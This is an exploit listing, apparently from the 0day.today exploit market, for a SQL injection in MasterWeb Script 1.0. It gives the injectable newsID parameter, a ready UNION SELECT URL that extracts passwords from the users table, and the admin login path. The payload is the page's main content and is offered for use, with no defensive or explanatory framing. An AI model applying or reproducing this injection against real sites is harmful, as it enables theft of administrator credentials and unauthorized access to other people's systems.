[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

MasterWeb Script <= 1.0 (details&newsID) SQL Injection Vulnerability

Author
R3d-D3v!L
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10585
Category
web applications
Date add
03-01-2010
Platform
unsorted
====================================================================
MasterWeb Script <= 1.0 (details&newsID) SQL Injection Vulnerability
====================================================================

 [?] Script:               [ MasterWeb Script 1.0 ]
    [?] Language:             [ ASP ]
    [?] Vendor                [http://masterweb-ps.com/]
########################################################################
   
===[ Exploit SQL ]===
   
[?]SQL : [Path]/details&newsID=[inj3ct C0dE]
  
[?]dem0:
  
http://www.site.com/?page=details&newsID=1905+union+select+1,pword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users
 
Admin:[Path]/admin/login.asp



#  0day.today [2024-12-23]  #